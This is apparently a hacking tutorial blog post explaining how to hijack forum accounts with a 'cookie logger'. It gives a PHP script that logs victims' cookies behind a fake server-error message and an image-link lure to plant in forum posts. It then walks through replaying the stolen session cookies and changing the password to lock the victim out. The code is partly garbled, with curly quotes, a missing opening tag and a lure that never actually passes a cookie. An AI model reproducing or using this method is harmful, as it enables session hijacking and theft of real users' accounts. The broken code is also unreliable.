Hacking Accounts By CookieLogger

Assalam-0-Alaikum ,

What Is CookieLogger ?

A CookieLogger is a Script that is Used to Steal anybody’s Cookies and stores it into a Log File from where you can read the Cookies of the Victim.

Today I am going to show :

: : How to make your own Cookie Logger : :

Hope you will enjoy Reading and Implementing it ...

You Need A Free web hosting site If you don't have any Website then you can use any one of these :

http://www.1freehosting.com/
http://www.2freehosting.com/
http://www.5gbfree.com/
http://www.byethost.com/
google for more..

Need Free Domain Name ? Use 

http://dot.tk

Note: You Need To Change The Nameservers to the web host Nameservers you are going to Use .

Step - By - Step :

1 - Copy the Below Code & Save the notepad file and Rename it as Fun.gif

<a href="www.yoursite.com/fun.gif"><img style="cursor: pointer; width: 116px; height: 116px;" src="nesite.com/jpg" /></a>

2 - Copy the Following Script into a Notepad File and Save the file as cookielogger.php

$filename = “logfile.txt”;
if (isset($_GET["cookie"]))
{
if (!$handle = fopen($filename, ‘a’))
{
echo “Temporary Server Error,Sorry for the inconvenience.”;
exit;
}
else
{
if (fwrite($handle, “rn” . $_GET["cookie"]) === FALSE)
{
echo “Temporary Server Error,Sorry for the inconvenience.”;
exit;
}
}
echo “Temporary Server Error,Sorry for the inconvenience.”;
fclose($handle);
exit;
}
echo “Temporary Server Error,Sorry for the inconvenience.”;
exit;
?>

3 - Create a new Notepad File and Save it as logfile.txt

4 - Upload this file to your server

cookielogger.php - > http://www.yoursite.com/cookielogger.php
logfile.txt- > http://www.yoursite.com/logfile.txt (chmod 777)
fun.gif - > http://www.yoursite.com/fun.gif

5 -  Go to the victim forum and insert this code in the signature or a post :

<a href="www.yoursite.com/fun.gif"><img style="cursor: pointer; width: 116px; height: 116px;" src="nesite.com/jpg" /></a>

6 - When the victim see the post he view the image you uploaded but when he click the image he has a Temporary Error and you will get his cookie in log.txt . The Cookie Would Look as Follows:

phpbb2mysql_data=a%3A2%3A%7Bs%3A11%3A%22autologinid%22%3Bs%3A0%3A%22%22%3Bs%3A6%3A%22userid%22%3Bi%3A-1%3B%7D; phpbb2mysql_sid=3ed7bdcb4e9e41737ed6eb41c43a4ec9

7 -  To get the access to the Victim's Account you need to replace your cookies with the Victim's Cookie. You can use a Cookie Editor for this. The string before “=” is the name of the cookie and the string after “=” is its value. So Change the values of the cookies in the cookie Editor.


8 - Goto the Website whose Account you have just hacked and You will find that you are logged in as the Victim and now you can change the victim's account information.

Note : Make Sure that from Step 6 to 8 the Victim should be Online because you are actually Hijacking the Victim's Session So if the Victim clicks on Logout you will also Log Out automatically but once you have changed the password then you can again login with the new password and the victim would not be able to login.